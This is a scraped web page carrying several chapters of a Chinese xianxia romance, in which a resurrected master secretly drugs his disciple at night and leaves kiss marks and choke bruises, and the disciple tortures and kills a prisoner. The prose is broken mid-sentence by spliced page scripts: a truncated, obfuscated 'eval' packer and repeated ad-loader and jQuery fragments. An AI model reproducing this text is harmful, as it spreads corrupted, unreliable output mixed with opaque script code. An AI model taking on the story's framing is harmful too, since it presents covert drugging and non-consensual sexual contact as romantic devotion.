之前他仅仅是不慎提了个名字,还没说完,闻厌的怒火就已经劈头盖脸地烧了过来,与他僵持的短短几秒间,便是这般令人人压抑的宁静,这种感觉周则无论如何都不想再经历一遍。 恼怒已经在闻厌的眼中浮现,彻骨的冷意折射出锋利棱角,整个人似乎下一瞬就要爆发。 然而就在发作的临界点,周身的戾气骤然被闻厌强行拽了回来,他再抬眼时,脸上又缓缓浮现出了一个迷惑性极强的笑容,语气轻快道:“真对不住,家师早死透了。” 对方似乎没有意识到闻厌轻飘飘的话音背后有何深意,还有些懊恼般啊了一声,诚恳道:“我忘了,闻楼主节哀。” 闻厌盯着眼前人,却还是未从那张平静淡然的脸上看出任何端倪。 “好吧。”闻厌遗憾地叹了口气,决定以退为进。 他扬了扬手中的纸页:“我只是一直有些奇怪,唐柏是为了查自己家的事情来我楼中,都知道上心自己去找,你之前说什么要找你的道侣,我可从未见过你有半分行动。” 闻厌狐疑道:“该不会真的是胡诌吧?” “闻楼主对我真是不信任啊,我以为这段时间相处下来,我们应该称得上关系不错了。”贺峋有些伤感地感慨道,就对上闻厌不为所动的眼神。 “好好好,我不说了。”贺峋在人发作前无奈地笑,打住了话音,顺着闻厌的话解释道,“唐公子毫不知情,我可是日日都在闻楼主的眼皮子底下,寄人篱下,总不好太过分,总要与主人先打好关系不是吗?” 闻厌不信:“平日里可不见你那么有眼色。” 一直在和人兜圈子,闻厌有些没耐心了,触上指节根部的指环,准备直接催动对方身上的蛊虫。 “等等!” 闻厌动作一顿,看了对方一眼,只见对方苦笑道:“闻楼主若是不信,尽管查验,我绝对配合。” 强扭的瓜不甜,这自然比强行用蛊的效果来得好。闻厌爽快地同意了,抓住了对方搭在轮椅上的手腕。 贺峋极其配合地把手往前伸了伸。 闻厌一手撑着轮椅,一手搭在对方腕间的命脉上,低头专注地查探着。贺峋一垂眼,就可以看到那纤长的眼睫。 有时被捂着眼睛亲吻时,掌心中的长睫便会情不自禁地轻颤着,在心底撩拨起阵阵痒意。 啧。 贺峋知道现在还没到时候,视线往上移到那乌黑细软的发顶,口中闲聊般道:“闻楼主好像不是第一次探我的内府了吧?看出什么了吗?” 闻厌没理,把手一撤,又摸上了贺峋脸部与脖颈的相接处。 贺峋诶了一声:“这是要干什么?”说着就把头往后仰,拉开两人间距离。 “让你动了吗?!”闻厌气势汹汹地又把人拉了回来,手上动作不停,仔仔细细地沿着对方的脸部轮廓摸了一圈。 “我没有易容。”贺峋道,不过还是依言任凭闻厌上下其手。 “闻楼主总怀疑我的身份……”他去看对方微垂着的专注眼神,笑了笑,问道,“是想在我身上看到谁?” 闻厌手一顿。 此言一出,贺峋看到人脸色瞬间变了。 翻天覆地的羞恼瞬间涌了上来,一口气堵在心头,最不愿承认的事情被人直白地挑明,闻厌的嗓音近乎是尖利,怒极般喝道:“闭嘴!” “闻楼主今日过来找我,是因为有人闯进了你的寝殿。可看你的意思,好像早就知道是谁。” 闻厌浑身气血都在翻涌,可偏偏对方就是不遂他的意,还要令人厌恶地在耳边不徐不疾道:“既然如此,闻楼主不如把这人告诉我,我也可以帮忙寻找,总比你执意要把我认作他人来得有用,对不对?” ……闻厌觉得自己从未像现在这般狼狈过。 他说不出口。 那人的名字只适合寂静无人时被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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转眼又是日暮,周则劝说闻厌要不先在其他地方另辟一个临时的寝宫,等查清楚后再搬回来。 闻厌却不信邪,偏要继续留在自己的寝殿中。 他待在窗边小榻上,没打算睡,专门留意晚间有何异常动静,还拿着卷书册,歪在榻上翻看着,用以打发时间。 看着看着,脑子却不听使唤地有些迟钝,殿中灯火偶尔的跳动都像带着催眠效果,最终头一歪,睡倒在榻上。 角落里的香炉兀自散发着浅淡幽香,让榻上的身影可以沉浸在黑甜睡梦中,一如每一个寻常的夜晚。 再次醒来时,闻厌看着明媚的天光愣了一会儿,突然反应过来。 不详的预感瞬间涌上心头,他顾不上睡得乱糟糟的衣衫,第一时间就扑到铜镜前。 看清镜子中自己的刹那,闻厌浑身血液都凝固了。 满身的吻痕指印不增反减,以极其强烈的方式彰显着存在感。 然而最明显的还是脖子上那圈青紫掐痕。 淤青印在白皙细腻的皮肤上,透出惊心动魄的狰狞。 只差一点,就可以要了他的命。 19. 第 19 章 闻厌已经把自己关在寝殿足足有四五日了。 他就像与暗处那个若隐若现的身影较上了劲,每晚用尽各种办法让自己保持清醒。 最后却无一例外地沉沉睡去。 再一次从榻上醒来,闻厌已经不像前几日那样反应剧烈地第一时间往镜子那扑,直接把手举到眼前,毫不意外地看到了腕间那一圈鲜红的印子。 闻厌闭了闭眼,手重重地垂到塌边,藕白的小臂从单衣中露出来,从细瘦的腕骨到骨肉匀亭的手臂,吻痕深的叠着浅的,新的叠着旧的,宛如这具身体被宣誓的所有权。 榻上的人突然爬起来,跌跌撞撞地来到冰棺前,然后被寒气冷得打了个激灵。 他已经很久没觉得寝殿里冷过了。 冰棺中,那道就这么陪伴了他数十年的身影兀自安睡着,似乎也会一直平和地在这里沉睡下去。 一开始,闻厌根本就没想过给人收尸。 本来就是他让对方身死道消,假惺惺地做这些又有什么意义? 贺峋死的那日,闻厌回去后,独自睡在两人的寝殿中。 第一晚,辗转反侧,睁眼到天明。 第二晚,点上了所有的安神香,沉睡时噩梦缠身。 第三晚,闻厌终于受不了了,夜半从床上爬起来,红着眼就往崖底去了。 他给人下了葬,立了碑,收拾完了楼中所有想趁乱分一杯羹的人,以为一切便这样就此结束。 然而夜晚等到他独自一人,再次躺在曾和人无数次抵死缠绵过的床榻上时,闻厌才发现,从今往后,只属于他一人的长夜仍旧冷得可怕。 无关是非对错,真情假意,他已经可悲地习惯了对方的拥抱和抚摸。 闻厌一翻身,跨坐在人身上。 四下无人,闻厌懒得去理自己睡得有些凌乱的衣衫,任凭满身的暧昧痕迹暴露在空气中。 “师尊……”闻厌低喃着,俯下身去,冰凉的指尖碰上对方同样毫无温度的身体。 他拉起那苍白的手,一点点覆在自己手腕上。 闻厌看着触目惊心的红痕被那骨节分明的手严丝合缝地掩盖着,两人肌肤相贴,冰冷得难分彼此。他轻声道:“我知道,一定是你。” 他抬眼去看,对方仍旧静静地躺在冰棺中,完全没有曾醒来过的迹象。 “可为什么你就是不出现?!”闻厌忽地有些激动,身体细微的发着抖,脸上是连日积累下来的惊惧和憔悴,但又不是单纯的害怕,死死盯着身下人的眼睛中,有外人无法看懂的复杂情绪在翻涌。 他收回被握着的那只手,腰越弯越低,几乎要贴在人胸膛上,慢慢把脸颊贴在对方掌心上蹭了蹭,然后又被冰得一抖。 “师尊,你是在惩罚我吗?”漂亮的眉眼带着显而易见的落寞,偏头亲了下颊边的修长手指,委屈地低声道,“我知道错了……” 然而下一瞬,闻厌就扔开对方的手,猛地揪住了身下人的衣领,横眉怒道:“是!我是错了,可你自己寻死,又凭什么这样对我?!” 他一把把人扯了起来,将自己有些散开的衣襟拉得更开,指着自己满身的吻痕,恶狠狠道:“这样到底算什么?!” 但无论他怎样吵闹,偌大寝殿内都是一片令人窒息的寂静。 闻厌慢慢泄了气,环着眼前人的腰,僵硬的脊柱一节节放松,把自己埋进了对方冰冷的怀中。 “师尊……”闻厌的声音闷闷的,他眨眨眼,驱散不受控制涌上来的水雾,轻声道,“我恨你。” …… “楼主,您不再考虑一下吗?外门的防守毕竟没有那么严密,属下觉得还是另寻他处为好。”周则跟在闻厌身后,劝说道。 “另寻他处?你是怕底下那些人不起疑心吗?”闻厌重新套上了易容,连日来精神的高度紧张让他整个人都是紧绷的,说话的语气也有些夹枪带棒,“本来一个个就不安分,若是让他们知道了这件事,这是上赶着要他们造反。” 他冷冷地哼了一声:“那么多人,我可杀不过来。” “是属下考虑不周了。”周则道。 他看了眼走在前面的闻厌:“还有广云宗那边,原本定下的会面时间就在两日后,赵宗主已经来信询问,楼主有何打算?” “我不去。”闻厌道,“你随便找几个人走一趟,也算给够那老家伙面子了。” 周则自然都听闻厌的,不过面上有些为难道:“唐公子不知从何处听到了这个消息,主动说想要过去。” “他也不给去。”闻厌直接否决。 闻厌的话音斩钉截铁,周则听着心里有些不是滋味。 闻厌当初费尽心思地接近对方取得信任,最近的事情一出,态度就来了个一百八十度大转变,连续一段时间以来的努力说不要就不要,把人扔在那,像是已经对众人趋之若鹜的还魂草失了兴趣。 周则不是猜不到眼前人变化的原因为何,至始至终,闻厌做的一切都是为了那个人罢了。 他哪怕再不愿相信,到如今也不得不承认他最不想看到的人可能真的回来了。否则能让闻厌如此的,除了那位前任魔君,眼前人的师尊,还有谁呢? “好了,你别跟着了。”闻厌停下了脚步。 前面就是外门弟子的住处,周则作为直属楼主的副使,总是出现在这里也会惹人生疑。 闻厌习惯性地摆摆手,没留神,宽大的袖口往下滑,就露出那截小臂上的斑驳痕迹,脸一黑,连忙把袖子一拉,加快两步径直走了。 一闪而过的红痕落在周则眼中,格外不舒服,一股前所未有的危机感在他心头积聚着,他能感觉到自己追随了近十年的人正在被一点点抢走。 心有不甘又无可奈何,属于他的时间已经不多了。 夜色再次降临。 闻厌从一开始看到日落就变得惊疑不安,到冷静地四处找寻破绽,再到现在已经成了诡异的麻木。 他已经自暴自弃地放弃了做任何准备。 自己师尊还活着的时候,他就从来打不过对方,哪怕这几年修为渐涨,在魔域中鲜有敌手,贺峋若想做什么,闻厌也不认为自己有反抗成功的能力。 不过眼见夜色加深,还是会下意识地紧张。 闻厌呼了口气,上了二楼。 贺峋回来便看到空了一个多月的屋子里突然住进了人。 二楼的窗边上站了一个人影,趴在栏杆上,漫无目的地随意张望着。 白皙纤细的指尖夹着烟斗,轻淡的烟雾缭在脸侧,让掩在后面的那张脸有些模糊。 都说犹抱琵琶半遮面,贺峋觉得还是有道理的,烟雾缭绕中,眼前的一幕格外赏心悦目,哪怕现在对方是易容后的那张脸。 毕竟他这徒弟的易容带着非常明显的个人风格。 别人都是尽力把自己往平平无奇的方向改,偏偏这人原本长得引人注目就算了,易容后也诸多讲究,怎么都会捯饬出一个给自己看得顺眼的样子来。 屋中亮着暖黄的光,打在闻厌身后 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,让那些不应被人看见的痕迹皆笼罩在了沉沉阴影下。 但贺峋闭着眼都能说出每一个印记的具体位置,还有落下亲吻时对方的每一个反应。 这是只属于他的风景。 贺峋的位置恰好是视线的死角,闻厌没看到他,站了一会儿,转身回去了,没多久,就传来了清越的琴声。 贺峋回自己住处的脚步一转,笑了笑,往琴声传来的方向走去。 闻厌很少碰琴,只在小时候跟着贺峋学过几天,很快觉得没有意思。 因为他发现比起弹奏,自己还是更喜欢用琴弦割开别人的喉咙。 恰巧见到这里摆着一台,便信手拨了几个音。刚起了个调,琴音突然一滞,闻厌抬眼看向门外,屈指勾起一条琴弦,手腕一压,就往门口甩去。 “谁?!” 琴弦被内力震断,宛如一把锋利的长剑出鞘,贺峋及时地往旁侧躲了下,就见琴弦犹带着嗡鸣声,擦着他脖子打进了墙中。 脖颈上还是传来轻微的刺痛感,贺峋抬手摸了摸,沾了血。 贺峋笑着叹了口气:“闻楼主好大的火气。” 闻厌一看是他,没好气地哼了一声:“你来干什么?” 却还是没把人拦在门外。 于是贺峋就极其自然地进来了。 “唐柏已经念叨他的景明好些天了,他一直没见你来信阁,都忍不住去问你那位副使了。”贺峋笑道,“我来替他看看你。” 闻厌意外地挑了挑眉:“他找我干什么?” 贺峋道:“我哪知道?他念叨的是你,又不是我。” 闻厌突然觉得对方的话音中似有一股若有若无的酸味,琢磨了一下,恍然大悟道:“我知道了,你总说是为了找你那道侣进的魔域,该不会这道侣就是唐柏吧?”又意外道:“你竟然打人家的主意?” 闻厌话说完,就见贺峋脸上的笑容一僵,微不可察地黑了脸。 闻厌大笑出声,难得见这人吃瘪,努力收了笑一本正经道:“开个玩笑嘛。” 他站起身,拿过一旁的烟斗,绕过面前摆着的古琴走到贺峋身前,弯腰,慢悠悠地吐了口烟,笑道:“你呢?你有没有念叨我呀?” 贺峋先是闻到了苦涩的酒味,极其浅淡,如此近的距离才察觉出几分,接着清冷的烟云就带着挑衅意味扑面而来。 他没有躲,抬手攥住了闻厌的烟斗,隔着一层淡淡的朦胧雾气,缓缓弯起了嘴角:“我自然也对闻楼主朝思夜想。” 窗外的月亮一点点往上爬,闻厌看了一眼,把烟斗一抽:“可我对你没有兴趣。” 前一秒还言笑晏晏的人说变就变,直起身子一指门口,毫不留情道:“夜深,不留客了,请吧。” 贺峋也偏头看了眼窗外,月亮已经掩在了云层后面,半明半暗。 他在心里笑笑,点了点头,在闻厌的目光中依言转身离开。因此闻厌也没看到对方搭在扶手上的手指有规律地轻敲着,像是无声的倒计时。 往外一段距离后,贺峋的动作一顿,听到了身后传来咚的一声。他转身,毫不意外地看到了软倒在地的身影。 他弯腰把徒弟揽到怀中,再顺手捡起掉到地上的烟斗。 贺峋曲指勾起怀中人的下颌,左右看看,再摸摸眼下的淡淡青黑,温柔地在眼尾落下一吻,叹道:“真可怜。” 轻柔的吻向下游移,到了鼻尖,贺峋在本该有颗小痣的位置上又吻了吻,微微一笑:“好啦,先让你开心几天吧。” 20. 第 20 章 一只白皙纤长的手从床帐中垂落,五指微曲着,兜住洒进屋内的日光,往上是白玉一般的小臂,肌肤光滑细腻,不见半点瑕疵,然后手的主人翻了个身,碰到了搁在床头的烟斗。 有什么东西碎裂的声音传来,闻厌动了动,终于不情不愿地睁开了眼。 他懒懒地坐了起来,撩开床帐,才发现是自己的烟斗又遭了殃。 之前那把在打斗中碎得完全不能用,只能新换了一把,然而才用了不久,墨玉烟杆上就添了两道裂痕——闻厌觉得自己最近可能和烟斗犯冲,总是毫无察觉地就摔了。 他郁闷地捡了起来,施了个术法先勉强用着,慢慢走到了铜镜前。 果不其然,镜中的身体没有再出现那种痕迹。 第五日了,闻厌看着自己光滑如初的手臂,几乎都要以为前段时间的事情只是自己的幻觉。 那藏在暗处的身影就和逗他玩似的,看他惊惧不安,看他戒备警惕,然后再潇洒地转身离开,消失得无影无踪。 闻厌和镜子里的自己对视良久,突然恼怒地踢了一脚,镜面应声而碎。 他深吸口气,揉了揉太阳穴,觉得自己的头疼好像越来越严重了。 真是一波未平一波又起。 上次出现这种情况后不久,他就毫无征兆地功力全失、目不能视。唯一值得庆幸的是,那些恼人的痕迹暂时消失了,他可以不用担心自己会在毫无还手之力时真的对上那人。 闻厌平复好思绪,出门往山海楼的地牢走去。 此时已经间或有几声蝉鸣,昭示着夏日的临近。 唐柏从信阁的窗户往外看去,觉得自己到该走的时候了。 在山海楼的两月倏忽而过,过于平淡而顺利,有时都让他忘了自己是处于吃人不吐骨头的魔域之中。他把这段时间收集来的密报仔细地整理好,珍而重之地收了起来。 唐柏深深地吸了口气,暗自握拳下定决心。景明已经帮了他许多,接下来的事情无论如何都要他自己去解决了。 只是一想起少年,唐柏的眼神有些黯淡。对方最近不知道在忙什么,除了那日晚上意外撞见他负伤而归后,就再也没见过了。 既然准备离开,总是要正式道别的。 另外一个坐着轮椅的身影在信阁的另一头,正平和地把手中的信件文书一份份放好。唐柏看了对方一眼,决定自己主动去找人。 绕过书案时发现地板上还散落着一叠画像,他脚步一顿,捡起时看到了一个熟悉的名字——万宝宫。 他和景明一开始被关押的地方。 唐柏一张张看过去,发现几张面孔有些眼熟,好像在牢中隔着厚厚的铁门见过。他快速地翻了一遍,发现画像描绘的正是曾被关押在万宝宫地牢里的所有人。 不过这东西现在也没什么用处,唐柏正要把它叠好放到桌面上,心中一跳,猛地意识到哪里不太对劲。 在越来越剧烈的心跳中,他又飞快地过了一遍,一股寒气窜上脊背,心一点点沉了下去——这里面没有少年那张极具标识性的面容,也没有闻景明这个名字。 唐柏把这叠纸往自己怀中一卷,往外面跑去。 …… 周则已经等在地牢的门口了,见到闻厌后,就对人道:“楼主,归元之会那日您被人刺杀,接应人进楼里的叛徒找到了,就在里面。” 闻厌点点头,率先迈步而入。 地牢里值守的弟子见楼主骤然亲临,都吓了一跳,连忙站起来低头行礼。 闻厌脚步不停,玄色织金的衣摆拂过阴冷石阶,只给众人留下一个肃杀的影子。 周则跟随人后,敏锐地察觉到对方已没有了前几日的焦躁,穿着从厚重的大氅,到同样遮得严实的外袍,再到如今已变得轻薄的衣衫,看起来已经摆脱了每晚过后莫名出现的痕迹。 但对方又不像是完全高兴的样子,眉目间压着他看不透的复杂情绪。 周则按下诸般猜测,快走几步,在闻厌耳边道:“楼主,还有一事,唐公子今日又在找您了,这次好像是有什么要紧事,我看他的神情都不太对。” “知道了,我处理完这个就去找他。” 说话间,两人来到了最深处的那间牢房。 周则打开门,随闻厌走了进去。 最中间的刑架上吊着个人,浑身血肉模糊,半死不活地歪着头,听到开门的动静,浑浊的双眼中燃起一线希望,然后看清站在最前面的身影后,猛地打了个寒颤,脸色迅速灰败下去,周身都是恐惧至极的绝望。 周则从墙上挂着的刑具中取下一根鞭子,恭敬地递到闻厌手上,低声跟闻厌说明情况:“已经审了半日,还是不松口,不过应该快撑不住了。” 闻厌点点头,接过后扬手甩了甩。 闻厌本意只是试下手感,哪想到对面那人反应强烈得过分,被凌厉的破空声吓得惨叫一声,拼命喊道:“我说!我全都说!” 这下换成闻厌诧异地看他一眼,又低头看看自己手中干净无比,没沾上半点血沫的鞭子,不解地对身旁的周则道:“我没打他啊?” 周则看了眼自闻厌进门后就吓得魂不附体的人, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 再看看面前一脸无辜的少年,默默地点了点头。 那人接着又哆哆嗦嗦地开口:“我知道的全都可以说,不过周副使,不能在这里。” 周则眉心重重一跳,被对方这意有所指的话弄得皱拧起了眉,看向闻厌道:“属下……” 闻厌安抚地朝他笑笑:“没关系,明正,你先出去等我。” 周则张了张口,压下心中的动荡不安,没有再解释,依言退出去了。 闻厌看着周则的背影消失在地牢中,转过身,往前走了几步,手中拎着的鞭子往上抬了抬,对人道:“好了,这下可以说……” 又是惊恐的凄厉哀求响起。 闻厌止住了话音,看着只要自己一动,就吓得魂飞魄散的人,重重叹了口气:“我有那么可怕吗?” 然后他在对方恐惧的眼神中慢慢弯起眼睛,用鞭子挑起那张满头是血的脸,笑吟吟道:“不过那么害怕……看来是见过我怎么处置别人了。” 那人急促道:“楼主我错了!我再也不敢了!我,属,属下一时糊涂,以后一定……” 闻厌轻笑一声,直接打断道:“我不要不听话的狗。” 下一瞬却又露出了个好看的笑容,柔声道,“但如果接下来你的回答让我满意,我可以考虑放你一马。” 狠厉和肃杀好像突然从这张漂亮的面容上退散了,带着说不出的蛊惑意味,明知道里面潜藏着致命的危险,还是让人情不自禁地移不开眼睛。 那人被这一眼看得迷迷瞪瞪地点点头。 闻厌道:“你放进来的是什么人?让你们在那时候刺杀我的又是谁?” 那人张了张口,正要答话,闻厌却蓦地目光一凝,侧身劈手就是一鞭子甩了出去。 厚重的石板接连发出咔擦的开裂声,上面的裂缝在此时就像一条追命的绳索,在不远处的拐角停了下来。 躲在暗处的偷窥者被随之而来的阴冷魔息紧紧缠绕,发出一声痛极了的闷哼。 吊在刑架上的那人也如梦初醒般回过神来,干裂的嘴唇才抖了抖,就被闻厌回头不耐地瞪了一眼,硬生生把差点脱口而出的哀叫咽回肚子里。 闻厌就立在原地,转头阴沉道:“滚出来。” 拐角处的身影晃了晃,露出个衣角,闻厌觉得好像有些眼熟,皱了皱眉,再次道:“不要让本座说第二遍。” 那道身影终于走了出来,在离闻厌几步外站定。 两人隔着一道牢门相望,唐柏紧攥着拳,指尖都要嵌进肉里,嘴唇开合几次,终于嗓音艰涩道:“……景明?” 21.第 21 章 这是唐柏第一次在山海楼中看到没有易容的闻厌。 他已经太久没有看过少年原本的模样了,面对那张漂亮雅致一如往昔的面容时,第一反应竟然是觉得有些陌生。 他也从未在这张脸上见过如此陌生的神情。 身后那血肉模糊的身影不时泄出一两声痛苦的呻吟,闻厌就和没听到似的,乌黑的眼眸一眨不眨地盯着他,黑白分明得没有任何感情,就像打量猎物的野兽,被这样看着,唐柏有一瞬甚至觉得自己再也走不出这地牢。 闻厌突然展颜一笑,对脸色发白的唐柏道:“你看到了呀。” 唐柏的嘴唇张张合合,因为震惊和恐惧在颤抖,半天说不出一句话来。 两人相处时对方漂亮明媚的笑容不断在脑中闪过,逐渐和眼前笑意盈盈的人重合在一起,让人自心底最深处升起阵阵凉意。 地牢里的血腥味源源不断地飘进鼻中,唐柏打了个寒颤,涌到嘴边的第一句话是:“你要杀了我吗?” “我当然不会。”闻厌回答得不假思索,像两人平日里相处的那般向人走来,“唐柏兄,我们……” “别那么叫我!”唐柏突然反应激烈地吼道。 那双乌黑漂亮的眼眸有瞬间的怔愣,唐柏发现自己心里竟闪过几分后悔,然而被欺骗的愤怒正在心底灼烧着,很快就盖过了这点微不足道的情绪,仍旧毫不退让地对眼前人怒目而视。 “好。”闻厌短暂的一愣后就妥协了。 唐柏的脸上青白交加,闻厌看着人这个模样,还是停住了脚步,没有再刺激对方。 唐柏的□□,努力让一团乱麻的头脑冷静下来,质问道:“所以你早就知道我的身份?” “是。” 唐柏知道如今外面对唐家的态度,只是还抱着一丝希望问道:“难道你也是看上了传闻中的还魂草才接近我的?可你怎么会需要这种东西……” “是。”闻厌直截了当道。 其实他若是想把这谎话编下去自然是轻而易举,甚至唐柏自己心里也存着几分这样的念想,然而闻厌极为坦诚地全部应下,又破天荒率先软下语气:“虽然现在我已经不需要了,但一开始总归是我别有目的在先,此事你怨我我无话可说。相交一场,我也不想就这样断了,作为补偿,你想要我如何做我都可以答应,好不好?” 神态语气都和唐柏更为熟悉的那个少年一样,然而对方此时越是这样,就越让他感觉割裂,这种错位感让他半点都无法接受,怒不可遏道:“你看看你现在这副模样!谁敢和你相交?!” 不算故作温和的虚情假意,闻厌很少有对一个人如此好态度的时候,哪怕是最怕贺峋的那几年,但凡对方凶一点,在他这都只有被指着鼻子骂回去的份儿,他好不容易低声下气一回,对方却三番四次地不领情。 闻厌脸上的笑渐渐沉了下去。 如果闻小魔君会对自己做过的坏事愧疚不已,那么他此时也就不会站在山海楼中了,所剩无几的良知在他心里刚冒了个头,就被唐柏一顿吼给吼了回去。 闻厌往前一步,点了点头:“好。” 横亘在两人中间的牢门被强横的魔气震裂,唐柏猛地抬手挡住炸开来的碎屑,情不自禁地往后退了一步。 闻厌步步逼近,唐柏一退再退,直到身后就是死路。 闻厌停了下来,问道:“你要求我坦诚,可你呢?” 他看着唐柏瞬间一僵,笑容一点点爬回脸上:“唐兄不也一样没有坦白过自己的来历吗?说起来,我可没有骗过你呢。” 唐柏正有些为自己刚才的重话懊悔,一听又火了,怒极反笑道:“你还说没有?!” 唐柏只要一回想就能抓住对方以前话中的漏洞:“你说你与山海楼签了死契,不久前才逃了出来。可你分明是山海楼的楼主!” “如果这个‘不久前’可以理解为十年前的话,我的话确实没错。”闻厌面不改色地分辩道,“只要我师尊在一日,我确实半步也踏不出山海楼。”然后又慢悠悠一笑:“可惜他十年前死了。” “……那你的名字呢?!”唐柏被噎了一会儿,又想起其他的,“山海楼里可有闻景明这个人?!” “哦,那是我的表字,不过很少用。”闻厌笑得更开心了,“你是唯二两个知道的呢,一般人我才不告诉。” 唐柏被堵得脸色都有些发青,抖着唇看着闻厌,一个字都说不出来。 闻厌见状,幽幽叹了口气,还是放缓了声音:“我知道你一时之间接受不了,但现在外面什么情况你也知道,身份一暴露你就会成为众矢之的,不如还是住在山海楼中,你的行动我也不会干涉,如何?” 闻厌话间的照顾和妥协之意却让唐柏心头更加沉重。 这无疑在提醒他一个事实——眼前人是骗了他,但这段时间以来在魔域的帮助也是真的。 他甚至比对方还不如。 唐柏摇了摇头,艰难道:“我只想问最后一个问题。” 他抬眼,不放过闻厌的每一个表情:“我拿到的那些密报,上面对唐家灭门的记载,是真的吗?” 闻厌道:“自然是真的。” 眼前这张漂亮的脸上每一处都无懈可击,唐柏却悲哀地发现自己不敢相信这人说的每一句话了。 闻厌见到对方的反应,挑了挑眉:“你不信?” “我不敢信……”唐柏的嗓音颤抖,初时的震惊和愤怒过后,他只剩下了满心的冰凉和畏惧,哀切道,“我我现在只想离开山海楼,自己去找这件事的真相……” 闻厌定定地看了他一眼,笑道:“何需求我?我刚才就说了,不会干涉你的行动。” 闻厌说罢就转身往回走,像是对任何人都不会在意和挽留,剩淡然的话音飘到他面前:“既然如此,唐兄自便吧。” 眼前人走得太过毫不留恋,唐柏下意识张了张嘴,又根本无从开口,只能看着那清瘦的背影离自己而去。 …… 周则遵照闻厌说的话,一直等在地牢门外。 没多久,就看到里面有个身影匆匆跑了出来,他还以为是闻厌,迎上去后却看到了唐柏那张脸。错愕之下,他都忘了去拦,眼睁睁地看着对方一路往离开山海楼的方向而去。 过了好一会儿,他才猛地反应过来,一拍脑袋,赶紧往地牢里面跑。 闻厌正蹲在那血肉模糊的人影前,听到急促的脚步声转过头,看到是周则后皱了皱眉:“不是让你在外面等我吗?” 周则都呼吸都没平复下来,喘息着道:“楼主,我撞见唐公子从地牢里出去了,他有没有看到你?” 闻厌不咸不淡地嗯了一声:“他什么都知道了。” 周则一听就急得往外跑:“属下立即让值守的弟子把他拦下来!” “回来。”闻厌把人叫住,“不用管他。” “可是楼主您费了那么多心思在他身上,怎能就这样让他离开?” 闻厌好笑地看了周则一眼:“明正啊,我很欣慰你终于有了点魔修的样子。” 不过周则此时显然没心思听他开玩笑,闻厌只能叹了口气:“好啦,我都不在意,你着什么急。” 闻厌没再管自己的副使,转了回去。那原本吊在刑架上的人影摔在了地上,时不时抽搐一下,喉咙中不断发出痛苦的嗬嗬声。闻厌扒开对方的眼皮看了一眼,又伸手去探对方脖颈间的动脉。 “楼主,这是……?” 闻厌哼了一声:“趁我没注意,自己服毒。不过又狠不下心,现在想死也死不了。” 浑浊涣散的瞳孔映着蹲在身前的少年,止不住地畏惧瑟缩着,而服下的剧毒药效只发挥了大半,比起眼前人那令人闻风丧胆的手段还要让人痛苦,只盼就此死去了才好。 接着咔擦一声,闻厌手上一用力,干脆利落地拧断了对方的脖子。 他拍拍衣摆站起身,感叹道:“之前都扛下来了,一见我就不想活,那么想不开做什么?” 闻厌在角落里的软椅坐下,一手揉了揉太阳穴,才勉强压下脑中翻搅起来的疼痛,转向周则吩咐道:“他肯定在等什么人来救他,顺着这个往下去查。” 周则点头应下,但看闻厌的眼神还一直落在自己身上,若有所思的模样,不由问道:“楼主可是还有事情吩咐?” “也不算。”闻厌道,“我只是有些不解。” 周则低头站在人身前专注地等着下文。 闻厌垂眸,拿手帕擦自己右手沾上的血,但血迹实在太多,总有一些留在手上。 闻厌觉得自己又想叹气了,他往后一靠,问道:“明正,你跟了我差不多十年,你觉得我这副模样看起来很可怕吗?” 这个问题出乎周则的意料之外,他下意识地随之抬眼看向闻厌。 眼前人这张脸和可怕二字半点也沾不上边,无论何时都是赏心悦目的,不会像部分魔修一样被功法中的邪气影响,日积月累下面相都变得有些狰狞。 让人害怕的是有时会在这张脸上浮现的神情。 周则见闻厌杀过不少人——能在魔域中活下去都杀过人。但闻厌不同,他像是天生就缺乏对死亡的敬畏,手中溅上温热的鲜血时,那双乌黑的眼眸会闪过微妙的光,嘴角弯出一个细微的弧度。 初时的周则只觉得这样的闻厌危险,但又独特得让人移不开眼,想了好久,才意识到那种神态叫做享受。 就如闻厌此时问出这个问题时,是发自内心的不解,好像不觉得拧断一个人的脖子和吃饭睡觉有什么不同。 被这种眼神注 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 视着,周则有时甚至会觉得自己喜欢上的是一个毫无感情的怪物。 稍有不慎,便尸骨无存。 闻厌从自己副使那一瞬间的沉默中琢磨出潜藏的意思来了,点点头,恍然道:“果然,怪不得一见我这样就跑了……” 周则反应过来了,意识自己好像说错了话,想要解释,但他又一向不是能言善辩之人,最后只能尽力剖白着自己的真心,单膝跪下道:“无论楼主是何模样,属下都愿追随楼主。” “为什么?明正,你不会背叛我吗?”闻厌起了好奇心,手肘撑在交叠的双腿上,俯身凑近笑道,“本座何德何能,让你如此死心塌地?” “因为……”周则看着那遥不可及的人就距离自己不过一寸,有几缕清苦的冷香钻进鼻尖,引诱着他不断靠近,最好能近到打破两人间可以忽略不计的距离,彻底把眼前人拥入怀中。 他闭上了眼,宛如等待宣判的囚徒,开口:“因为属下心悦楼主。” 闻厌的笑容一凝:“你说什么?” “因为属下心悦……” “啪!” 周则被打得整个人猛地偏向一侧,差点就扑倒在地,带着血的指印迅速浮上脸侧。 果然…… 周则低下头,脸上露出一个苦涩的笑容。他不敢有其他动作,迎着闻厌的怒火迅速稳住身形。 “周明正,你真是好大的胆子。”闻厌冷冷道,“你知道我最讨厌别人打我主意。” 周则怎会不知喜欢上这人就像走上一条有去无回的不归路。可哪怕是咬牙剖白自己心意的时候,他都不敢有任何的越界,多年来的上下属关系已经牢牢框住了他,在闻厌生气的时候只会惶恐道:“属下知罪,属下万死难辞其咎!” 闻厌此时却不想搭理他了,往后靠回椅子上,烦躁地揉了揉眉心。死寂般的沉默中,周则抬头悄悄看了闻厌一眼。 他明白,这可能是自己最后一次出现再对方面前了,首次放纵自己的目光仔细描摹过眼前人的眉眼。 从下往上看去,扬起的脖颈线条优美,下颌清晰流畅,微抿的薄唇满是拒人于千里之外的淡薄与冷漠,鼻梁秀挺,还有鼻尖那颗小痣…… 周则突然毫无来由地觉得这里肯定被人温柔地亲吻过。 